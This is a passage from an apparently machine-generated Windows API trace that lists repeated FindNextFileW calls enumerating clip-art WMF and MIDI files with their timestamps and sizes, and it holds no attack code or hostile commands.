nFileSizeLow=0x23a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02024_.WMF", cAlternateFileName="")) returned 1 [0273.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2016, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02025_.WMF", cAlternateFileName="")) returned 1 [0273.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02028_.WMF", cAlternateFileName="")) returned 1 [0273.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x266c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02045_.WMF", cAlternateFileName="")) returned 1 [0273.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02048_.WMF", cAlternateFileName="")) returned 1 [0273.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02051_.WMF", cAlternateFileName="")) returned 1 [0273.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e1d7400, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e1d7400, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x30ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02054_.WMF", cAlternateFileName="")) returned 1 [0273.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cec4700, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cec4700, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02055_.WMF", cAlternateFileName="")) returned 1 [0273.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8362df00, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8362df00, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x382a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02067_.WMF", cAlternateFileName="")) returned 1 [0273.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63332000, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63332000, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x1b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02094_.WMF", cAlternateFileName="")) returned 1 [0273.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d01f00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95d01f00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02227_.WMF", cAlternateFileName="")) returned 1 [0273.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf83e1500, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf83e1500, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02228_.WMF", cAlternateFileName="")) returned 1 [0273.272] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd30a00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcd30a00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02233_.WMF", cAlternateFileName="")) returned 1 [0273.272] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73eb9200, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73eb9200, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xe88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02252_.WMF", cAlternateFileName="")) returned 1 [0273.272] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26de00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26de00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02253_.WMF", cAlternateFileName="")) returned 1 [0273.272] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1436bc00, ftCreationTime.dwHighDateTime=0x1bd4be4, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1436bc00, ftLastWriteTime.dwHighDateTime=0x1bd4be4, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02261_.WMF", cAlternateFileName="")) returned 1 [0273.272] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3be44f00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3be44f00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa94, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02263_.WMF", cAlternateFileName="")) returned 1 [0273.622] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325ae700, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x325ae700, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02265_.WMF", cAlternateFileName="")) returned 1 [0273.622] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e16ea00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e16ea00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02268_.WMF", cAlternateFileName="")) returned 1 [0273.622] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a836300, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a836300, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02269_.WMF", cAlternateFileName="")) returned 1 [0273.622] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16efdc00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16efdc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02270_.WMF", cAlternateFileName="")) returned 1 [0273.622] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3963e00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3963e00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02276_.WMF", cAlternateFileName="")) returned 1 [0273.622] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e7d7f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e7d7f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x17a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02413_.WMF", cAlternateFileName="")) returned 1 [0273.623] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9503b100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9503b100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02431_.WMF", cAlternateFileName="")) returned 1 [0273.623] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937fbc00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x937fbc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02437_.WMF", cAlternateFileName="")) returned 1 [0273.623] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8793fa00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8793fa00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02439_.WMF", cAlternateFileName="")) returned 1 [0273.623] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02464_.WMF", cAlternateFileName="")) returned 1 [0273.623] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe34c8c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe34c8c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02465_.WMF", cAlternateFileName="")) returned 1 [0273.624] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02578_.WMF", cAlternateFileName="")) returned 1 [0273.624] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6d32800, ftCreationTime.dwHighDateTime=0x1bd4c4e, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6d32800, ftLastWriteTime.dwHighDateTime=0x1bd4c4e, nFileSizeHigh=0x0, nFileSizeLow=0x5fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02617_.WMF", cAlternateFileName="")) returned 1 [0273.624] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7f4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02790_.WMF", cAlternateFileName="")) returned 1 [0273.624] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x430c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02791_.WMF", cAlternateFileName="")) returned 1 [0273.624] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02793_.WMF", cAlternateFileName="")) returned 1 [0273.625] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02794_.WMF", cAlternateFileName="")) returned 1 [0273.625] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1262e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02862_.WMF", cAlternateFileName="")) returned 1 [0273.625] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x967a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02886_.WMF", cAlternateFileName="")) returned 1 [0273.625] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02958_.WMF", cAlternateFileName="")) returned 1 [0273.626] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x107b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACE_01.MID", cAlternateFileName="")) returned 1 [0273.626] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRNG_01.MID", cAlternateFileName="")) returned 1 [0273.626] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUBBY1.WMF", cAlternateFileName="")) returned 1 [0273.626] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUBBY2.WMF", cAlternateFileName="")) returned 1 [0273.626] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x36dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMER_01.MID", cAlternateFileName="")) returned 1 [0273.627] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2135, dwReserved0=0x0, dwReserved1=0x0, cFileName="SWEST_01.MID", cAlternateFileName="")) returned 1 [0273.627] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7065e700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7065e700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00110_.WMF", cAlternateFileName="")) returned 1 [0273.627] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb76ecf00, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb76ecf00, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0x1844, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00127_.WMF", cAlternateFileName="")) returned 1 [0273.627] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb62ee00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb62ee00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x81c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00132_.WMF", cAlternateFileName="")) returned 1 [0273.628] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f34ba00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f34ba00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1412, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00170_.WMF", cAlternateFileName="")) returned 1 [0273.628] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, 